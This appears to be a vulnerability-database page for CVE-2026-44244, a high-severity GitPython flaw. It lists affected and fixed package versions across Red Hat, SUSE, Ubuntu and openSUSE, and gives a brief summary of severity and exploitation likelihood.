1:2.16.19-1.el9ap
python3.12-pulpcore
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:3.49.63-2.el8ap
0:3.49.63-2.el8ap
python3.12-pulpcore
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:3.49.63-2.el9ap
0:3.49.63-2.el9ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptor
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptor
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptorctl
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptorctl
Red Hat:ansible_automation_platform_inside:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptorctl
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.6.6-1.el8ap
0:1.6.6-1.el8ap
receptorctl
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptorctl
Red Hat:ansible_automation_platform_inside:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor-debuginfo
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor-debugsource
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptorctl
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:3.1.50-1.el8ap
0:3.1.50-1.el8ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:3.1.50-1.el9ap
0:3.1.50-1.el9ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
python3.12-urllib3
Red Hat:ansible_automation_platform_developer:2.5::el8
From an advisory covering 25 CVEs
before 0:2.7.0-1.el8ap
0:2.7.0-1.el8ap
ansible-test
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 1:2.16.19-1.el8ap
1:2.16.19-1.el8ap
automation-controller
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-controller-server
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-controller-ui
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.6.30-2.el8ap
0:4.6.30-2.el8ap
automation-eda-controller
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.1.20-1.el8ap
0:1.1.20-1.el8ap
automation-eda-controller-base
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.1.20-1.el8ap
0:1.1.20-1.el8ap
automation-eda-controller-base-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.1.20-1.el8ap
0:1.1.20-1.el8ap
automation-eda-controller-event-stream-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.1.20-1.el8ap
0:1.1.20-1.el8ap
automation-eda-controller-worker-services
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:1.1.20-1.el8ap
0:1.1.20-1.el8ap
automation-gateway
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el8ap
0:2.5.20260715-1.el8ap
automation-gateway-config
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el8ap
0:2.5.20260715-1.el8ap
automation-hub
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.10.16-1.el8ap
0:4.10.16-1.el8ap
python3.12-galaxy-ng
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:4.10.16-1.el8ap
0:4.10.16-1.el8ap
python3.12-pulp-ansible
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 1:0.25.6-1.el8ap
1:0.25.6-1.el8ap
python3.12-pulp-container
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.19.12-1.el8ap
0:2.19.12-1.el8ap
python3.12-pyjwt+crypto
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.13.0-1.el8ap
0:2.13.0-1.el8ap
python3.12-pyjwt
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.13.0-1.el8ap
0:2.13.0-1.el8ap
python3.12-pysequoia
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:0.1.34-1.el8ap
0:0.1.34-1.el8ap
python3.12-pysequoia-debuginfo
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:0.1.34-1.el8ap
0:0.1.34-1.el8ap
python3.12-pysequoia-debugsource
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:0.1.34-1.el8ap
0:0.1.34-1.el8ap
python3.12-urllib3
Red Hat:ansible_automation_platform:2.5::el8
From an advisory covering 25 CVEs
before 0:2.7.0-1.el8ap
0:2.7.0-1.el8ap
automation-controller
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
python3.12-urllib3
Red Hat:ansible_automation_platform_developer:2.5::el9
From an advisory covering 25 CVEs
before 0:2.7.0-1.el9ap
0:2.7.0-1.el9ap
ansible-test
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
automation-controller
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
automation-controller-cli
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
automation-controller-server
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
automation-controller-ui
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.6.30-2.el9ap
0:4.6.30-2.el9ap
automation-eda-controller
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.1.20-1.el9ap
0:1.1.20-1.el9ap
automation-eda-controller-base
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.1.20-1.el9ap
0:1.1.20-1.el9ap
automation-eda-controller-base-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.1.20-1.el9ap
0:1.1.20-1.el9ap
automation-eda-controller-event-stream-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.1.20-1.el9ap
0:1.1.20-1.el9ap
automation-eda-controller-worker-services
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:1.1.20-1.el9ap
0:1.1.20-1.el9ap
automation-gateway
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el9ap
0:2.5.20260715-1.el9ap
automation-gateway-config
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.5.20260715-1.el9ap
0:2.5.20260715-1.el9ap
automation-hub
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.10.16-1.el9ap
0:4.10.16-1.el9ap
python3.12-galaxy-ng
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:4.10.16-1.el9ap
0:4.10.16-1.el9ap
python3.12-pulp-ansible
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 1:0.25.6-1.el9ap
1:0.25.6-1.el9ap
python3.12-pulp-container
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.19.12-1.el9ap
0:2.19.12-1.el9ap
python3.12-pyjwt+crypto
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.13.0-1.el9ap
0:2.13.0-1.el9ap
python3.12-pyjwt
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.13.0-1.el9ap
0:2.13.0-1.el9ap
python3.12-pysequoia
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:0.1.34-1.el9ap
0:0.1.34-1.el9ap
python3.12-pysequoia-debuginfo
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:0.1.34-1.el9ap
0:0.1.34-1.el9ap
python3.12-pysequoia-debugsource
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:0.1.34-1.el9ap
0:0.1.34-1.el9ap
python3.12-urllib3
Red Hat:ansible_automation_platform:2.5::el9
From an advisory covering 25 CVEs
before 0:2.7.0-1.el9ap
0:2.7.0-1.el9ap
automation-platform-ui
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:2.6.11-1.el9ap
0:2.6.11-1.el9ap
automation-controller-venv-tower
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:4.7.14-3.el9ap
0:4.7.14-3.el9ap
ansible-core
Red Hat:ansible_automation_platform_developer:2.6::el10
From an advisory covering 14 CVEs
before 2:2.16.19-1.el10ap
2:2.16.19-1.el10ap
ansible-core
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 14 CVEs
before 2:2.16.19-1.el10ap
2:2.16.19-1.el10ap
ansible-core
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 14 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
ansible-core
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 14 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
ansible-core
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 1:2.16.19-1.el9ap
1:2.16.19-1.el9ap
python3.12-pulpcore
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:3.49.63-2.el9ap
0:3.49.63-2.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el10
From an advisory covering 14 CVEs
before 0:1.6.6-1.el10ap
0:1.6.6-1.el10ap
receptor
Red Hat:ansible_automation_platform_developer:2.6::el9
From an advisory covering 14 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor
Red Hat:ansible_automation_platform_inside:2.6::el9
From an advisory covering 14 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
receptor
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:1.6.6-1.el9ap
0:1.6.6-1.el9ap
automation-gateway-proxy
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:2.6.17-1.el9ap
0:2.6.17-1.el9ap
automation-gateway-proxy-debugsource
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:2.6.17-1.el9ap
0:2.6.17-1.el9ap
automation-gateway-proxy-server
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:2.6.17-1.el9ap
0:2.6.17-1.el9ap
automation-gateway-proxy-server-debuginfo
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:2.6.17-1.el9ap
0:2.6.17-1.el9ap
python3.12-gitpython
Red Hat:ansible_automation_platform:2.6::el9
From an advisory covering 14 CVEs
before 0:3.1.50-1.el9ap
0:3.1.50-1.el9ap
openvox-server
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:8.15.2-1.el9sat
0:8.15.2-1.el9sat
openvox-server
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:8.15.2-1.el9sat
0:8.15.2-1.el9sat
ansible-core
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-test
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-core
Red Hat:satellite_maintenance:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-core
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
ansible-test
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 1:2.16.19-1.el9sat
1:2.16.19-1.el9sat
python3.12-aiohttp
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debuginfo
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debugsource
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debuginfo
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-aiohttp-debugsource
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.14.3-1.el9pc
0:3.14.3-1.el9pc
python3.12-gitpython
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:3.1.59-1.el9pc
0:3.1.59-1.el9pc
python3.12-gitpython
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:3.1.59-1.el9pc
0:3.1.59-1.el9pc
rubygem-jwt
Red Hat:satellite_capsule:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
rubygem-jwt
Red Hat:satellite_utils:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
rubygem-jwt
Red Hat:satellite:6.19::el9
From an advisory covering 22 CVEs
before 0:2.10.3-1.el9sat
0:2.10.3-1.el9sat
GitPython
Root:PyPI
before 3.1.47+aikido.8
3.1.47+aikido.83.1.46+aikido.53.1.47+aikido.93.1.46+aikido.123.1.46+aikido.113.1.46+aikido.133.1.47+aikido.23.1.47+aikido.33.1.46+aikido.63.1.46+aikido.73.1.47+aikido.43.1.47+aikido.53.1.46+aikido.83.1.47+aikido.63.1.46+aikido.93.1.47+aikido.73.1.46+aikido.10
python-GitPython
SUSE:Linux Enterprise Module for Python 3 15 SP7
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP4-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP5-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server 15 SP6-LTSS
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP4
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP5
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-GitPython
SUSE:Linux Enterprise Server for SAP Applications 15 SP6
From an advisory covering 27 CVEs
before 3.1.34.1693646983.2a2ae77-150400.9.8.1
3.1.34.1693646983.2a2ae77-150400.9.8.1
python-git
Ubuntu:Pro:14.04:LTS
before 0.3.2~RC1-3ubuntu0.1~esm3, plus listed versions
0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm2
0.3.2~RC1-3ubuntu0.1~esm3
python-git
Ubuntu:Pro:16.04:LTS
before 1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4, plus listed versions
1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2
1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4
python-git
Ubuntu:Pro:18.04:LTS
before 2.1.8-1ubuntu0.1~esm4, plus listed versions
2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm2
2.1.8-1ubuntu0.1~esm4
python-git
Ubuntu:Pro:20.04:LTS
before 3.0.7-1ubuntu0.1~esm4, plus listed versions
2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm2
3.0.7-1ubuntu0.1~esm4
python-git
Ubuntu:Pro:22.04:LTS
before 3.1.24-1ubuntu0.1~esm3, plus listed versions
3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm2
3.1.24-1ubuntu0.1~esm3
python-git
Ubuntu:Pro:24.04:LTS
before 3.1.37-3ubuntu0.1~esm2, plus listed versions
3.1.30-13.1.37-13.1.37-3
3.1.37-3ubuntu0.1~esm2
python-git
Ubuntu:25.10
All versions, plus listed versions
3.1.44-1
None known
python-git
Ubuntu:26.10
All versions, plus listed versions
3.1.46-13.1.50-13.1.61-1
None known
python-git
Ubuntu:Pro:26.04:LTS
before 3.1.46-1ubuntu0.1~esm1, plus listed versions
3.1.44-13.1.45-13.1.46-1
3.1.46-1ubuntu0.1~esm1
python-git
Ubuntu:Pro:14.04:LTS
From an advisory covering 5 CVEs
before 0.3.2~RC1-3ubuntu0.1~esm3, plus listed versions
0.3.2~RC1-20.3.2~RC1-30.3.2~RC1-3ubuntu0.1~esm10.3.2~RC1-3ubuntu0.1~esm2
0.3.2~RC1-3ubuntu0.1~esm3
python-git
Ubuntu:Pro:16.04:LTS
From an advisory covering 5 CVEs
before 1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4, plus listed versions
1.0.1+git137-gc8b8379-11.0.1+git137-gc8b8379-21.0.1+git137-gc8b8379-2.11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm11.0.1+git137-gc8b8379-2.1ubuntu0.1~esm2
1.0.1+git137-gc8b8379-2.1ubuntu0.1~esm4
python-git
Ubuntu:Pro:18.04:LTS
From an advisory covering 5 CVEs
before 2.1.8-1ubuntu0.1~esm4, plus listed versions
2.1.5-12.1.6-12.1.7-12.1.8-12.1.8-1ubuntu0.1~esm12.1.8-1ubuntu0.1~esm2
2.1.8-1ubuntu0.1~esm4
python-git
Ubuntu:Pro:20.04:LTS
From an advisory covering 5 CVEs
before 3.0.7-1ubuntu0.1~esm4, plus listed versions
2.1.11-13.0.4-13.0.5-13.0.7-13.0.7-1ubuntu0.1~esm13.0.7-1ubuntu0.1~esm2
3.0.7-1ubuntu0.1~esm4
python-git
Ubuntu:Pro:22.04:LTS
From an advisory covering 5 CVEs
before 3.1.24-1ubuntu0.1~esm3, plus listed versions
3.1.14-13.1.23-13.1.24-13.1.24-1ubuntu0.1~esm13.1.24-1ubuntu0.1~esm2
3.1.24-1ubuntu0.1~esm3
python-git
Ubuntu:Pro:24.04:LTS
From an advisory covering 5 CVEs
before 3.1.37-3ubuntu0.1~esm2, plus listed versions
3.1.30-13.1.37-13.1.37-3
3.1.37-3ubuntu0.1~esm2
python-git
Ubuntu:Pro:26.04:LTS
From an advisory covering 5 CVEs
before 3.1.46-1ubuntu0.1~esm1, plus listed versions
3.1.44-13.1.45-13.1.46-1
3.1.46-1ubuntu0.1~esm1
python-GitPython
openSUSE:Tumbleweed
From an advisory covering 3 CVEs
before 3.1.49-1.1
3.1.49-1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44244 is a high vulnerability (CVSS 7.8) in Gitpython-developers Gitpython, published May 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in gitpython 3.1.49.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 51 versions, 157 references and the rest of 4 source descriptions. The JSON record has them.

MoveEnter Open